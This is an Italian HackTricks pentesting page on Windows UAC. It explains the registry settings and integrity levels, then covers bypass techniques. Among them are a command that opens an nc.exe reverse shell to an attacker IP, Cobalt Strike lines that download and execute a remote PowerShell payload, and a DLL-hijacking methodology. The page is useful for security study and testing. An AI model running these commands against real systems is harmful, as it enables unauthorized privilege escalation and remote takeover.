UAC - User Account Control

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Usa Trickest per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo. Ottieni l'accesso oggi:

UAC

User Account Control (UAC) è una funzionalità che abilita una richiesta di consenso per attività elevate. Le applicazioni hanno diversi livelli di integrità, e un programma con un livello elevato può eseguire attività che potenzialmente potrebbero compromettere il sistema. Quando UAC è abilitato, le applicazioni e le attività vengono sempre eseguite nel contesto di sicurezza di un account non amministratore a meno che un amministratore autorizzi esplicitamente queste applicazioni/attività ad avere accesso di livello amministratore al sistema per essere eseguite. È una funzionalità di comodità che protegge gli amministratori da modifiche non intenzionali ma non è considerata un confine di sicurezza.

Per ulteriori informazioni sui livelli di integrità:

pageIntegrity Levels

Quando è attivo UAC, a un utente amministratore vengono dati 2 token: una chiave utente standard, per eseguire azioni regolari come livello standard, e una con i privilegi di amministratore.

Questa pagina discute approfonditamente come funziona UAC e include il processo di accesso, l'esperienza utente e l'architettura UAC. Gli amministratori possono utilizzare le policy di sicurezza per configurare come UAC funziona specificamente per la propria organizzazione a livello locale (usando secpol.msc), o configurato e distribuito tramite oggetti di policy di gruppo (GPO) in un ambiente di dominio Active Directory. Le varie impostazioni sono discusse in dettaglio qui. Ci sono 10 impostazioni di Group Policy che possono essere impostate per UAC. La tabella seguente fornisce dettagli aggiuntivi:

Impostazione di Group PolicyChiave del RegistroImpostazione predefinita

FilterAdministratorToken

Disabilitato

EnableUIADesktopToggle

Disabilitato

ConsentPromptBehaviorAdmin

Richiedi il consenso per i binari non Windows

ConsentPromptBehaviorUser

Richiedi le credenziali sul desktop sicuro

EnableInstallerDetection

Abilitato (predefinito per home) Disabilitato (predefinito per enterprise)

ValidateAdminCodeSignatures

Disabilitato

EnableSecureUIAPaths

Abilitato

EnableLUA

Abilitato

PromptOnSecureDesktop

Abilitato

EnableVirtualization

Abilitato

### Teoria del Bypass di UAC

Alcuni programmi vengono autoelevati automaticamente se l'utente appartiene al gruppo amministratori. Questi binari hanno all'interno dei loro Manifests l'opzione autoElevate con valore True. Il binario deve essere firmato da Microsoft anche.

Quindi, per bypassare l'UAC (elevare da un livello di integrità medio a alto) alcuni attaccanti utilizzano questo tipo di binari per eseguire codice arbitrario perché verrà eseguito da un processo ad alto livello di integrità.

È possibile verificare il Manifest di un binario utilizzando lo strumento sigcheck.exe di Sysinternals. E puoi vedere il livello di integrità dei processi utilizzando Process Explorer o Process Monitor (di Sysinternals).

Verifica UAC

Per confermare se UAC è abilitato fai:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Se è 1 allora UAC è attivato, se è 0 o se non esiste, allora UAC è disattivato.

Successivamente, controlla quale livello è configurato:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Se 0 allora, UAC non chiederà conferma (come disabilitato)

  • Se 1 all'amministratore viene richiesto username e password per eseguire il binario con privilegi elevati (su Desktop Sicuro)

  • Se 2 (Notificami sempre) UAC chiederà sempre conferma all'amministratore quando cerca di eseguire qualcosa con privilegi elevati (su Desktop Sicuro)

  • Se 3 come 1 ma non necessario su Desktop Sicuro

  • Se 4 come 2 ma non necessario su Desktop Sicuro

  • Se 5 (predefinito) chiederà all'amministratore di confermare l'esecuzione di binari non Windows con privilegi elevati

Successivamente, è necessario controllare il valore di LocalAccountTokenFilterPolicy Se il valore è 0, solo l'utente RID 500 (Amministratore integrato) può eseguire operazioni da amministratore senza UAC, se è 1, tutti gli account nel gruppo "Amministratori" possono farlo.

Infine, controllare il valore della chiave FilterAdministratorToken Se 0(predefinito), l'account Amministratore integrato può eseguire operazioni di amministrazione remota e se 1 l'account integrato Amministratore non può eseguire operazioni di amministrazione remota, a meno che LocalAccountTokenFilterPolicy sia impostato su 1.

Riassunto

  • Se EnableLUA=0 o non esiste, nessun UAC per nessuno

  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=1 , Nessun UAC per nessuno

  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=0 e FilterAdministratorToken=0, Nessun UAC per RID 500 (Amministratore integrato)

  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=0 e FilterAdministratorToken=1, UAC per tutti

Tutte queste informazioni possono essere ottenute utilizzando il modulo metasploit: post/windows/gather/win_privs

È anche possibile controllare i gruppi del tuo utente e ottenere il livello di integrità:

net user %username%
whoami /groups | findstr Level

Bypass UAC

Si noti che se si ha accesso grafico alla vittima, il bypass UAC è semplice in quanto è sufficiente fare clic su "Sì" quando compare il prompt UAC.

Il bypass UAC è necessario nella seguente situazione: l'UAC è attivato, il tuo processo è in esecuzione in un contesto di integrità media e il tuo utente appartiene al gruppo degli amministratori.

È importante sottolineare che è molto più difficile aggirare l'UAC se è impostato al livello di sicurezza più alto (Sempre) rispetto a uno qualsiasi degli altri livelli (Predefinito).

UAC disabilitato

Se l'UAC è già disabilitato (ConsentPromptBehaviorAdmin è 0) è possibile eseguire una shell inversa con privilegi di amministratore (livello di integrità elevato) utilizzando qualcosa del genere:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

Bypass UAC con duplicazione del token

Molto semplice "bypass" UAC (accesso completo al file system)

Se hai una shell con un utente che è all'interno del gruppo Amministratori, puoi montare il C$ condiviso tramite SMB (file system) localmente in un nuovo disco e avrai accesso a tutto all'interno del file system (anche la cartella home dell'Amministratore).

Sembra che questo trucco non funzioni più

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

Bypass UAC con cobalt strike

Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al massimo livello di sicurezza.

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire e Metasploit hanno anche diversi moduli per bypassare il UAC.

KRBUACBypass

Documentazione e strumento in https://github.com/wh0amitz/KRBUACBypass

Exploit di bypass UAC

UACME che è una compilazione di diversi exploit di bypass UAC. Nota che dovrai compilare UACME usando visual studio o msbuild. La compilazione creerà diversi eseguibili (come Source\Akagi\outout\x64\Debug\Akagi.exe), dovrai sapere quale ti serve. Dovresti fare attenzione perché alcuni bypass faranno comparire altri programmi che avviseranno l'utente che sta succedendo qualcosa.

UACME ha la versione di build da cui ogni tecnica ha iniziato a funzionare. Puoi cercare una tecnica che influisce sulle tue versioni:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Inoltre, utilizzando questa pagina ottieni il rilascio di Windows 1607 dalle versioni di build.

Ulteriore bypass di UAC

Tutte le tecniche utilizzate qui per aggirare l'AUC richiedono una shell interattiva completa con la vittima (una shell nc.exe comune non è sufficiente).

Puoi ottenerla utilizzando una sessione meterpreter. Migrare verso un processo che ha il valore Session uguale a 1:

(explorer.exe dovrebbe funzionare)

Bypass di UAC con GUI

Se hai accesso a una GUI puoi semplicemente accettare il prompt UAC quando lo ricevi, non hai davvero bisogno di un bypass. Quindi, ottenere l'accesso a una GUI ti permetterà di aggirare l'UAC.

Inoltre, se ottieni una sessione GUI che qualcuno stava utilizzando (potenzialmente tramite RDP) ci sono alcuni strumenti che verranno eseguiti come amministratore da cui potresti eseguire ad esempio un cmd come amministratore direttamente senza essere nuovamente sollecitato dall'UAC come https://github.com/oski02/UAC-GUI-Bypass-appverif. Questo potrebbe essere un po' più furtivo.

Bypass di UAC rumoroso con forza bruta

Se non ti interessa essere rumoroso, potresti sempre eseguire qualcosa come https://github.com/Chainski/ForceAdmin che chiede di elevare i permessi finché l'utente non li accetta.

Il tuo bypass - Metodologia di base per il bypass di UAC

Se dai un'occhiata a UACME noterai che la maggior parte dei bypass di UAC sfruttano una vulnerabilità di Dll Hijacking (principalmente scrivendo la dll dannosa su C:\Windows\System32). Leggi questo per imparare come trovare una vulnerabilità di Dll Hijacking.

  1. Trova un binario che si autoeleva (controlla che quando viene eseguito funzioni con un livello di integrità elevato).

  2. Con procmon trova eventi "NAME NOT FOUND" che possono essere vulnerabili al DLL Hijacking.

  3. Probabilmente dovrai scrivere la DLL all'interno di alcuni percorsi protetti (come C:\Windows\System32) dove non hai permessi di scrittura. Puoi aggirare questo utilizzando:

  4. wusa.exe: Windows 7, 8 e 8.1. Consente di estrarre il contenuto di un file CAB all'interno di percorsi protetti (perché questo strumento viene eseguito da un livello di integrità elevato).

  5. IFileOperation: Windows 10.

  6. Prepara uno script per copiare la tua DLL all'interno del percorso protetto ed eseguire il binario vulnerabile e autoelevato.

Un'altra tecnica di bypass di UAC

Consiste nel verificare se un binario autoelevato cerca di leggere dal registro il nome/percorso di un binario o comando da eseguire (questo è più interessante se il binario cerca queste informazioni all'interno dell'HKCU).

Usa Trickest per creare e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo. Ottieni l'accesso oggi:

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated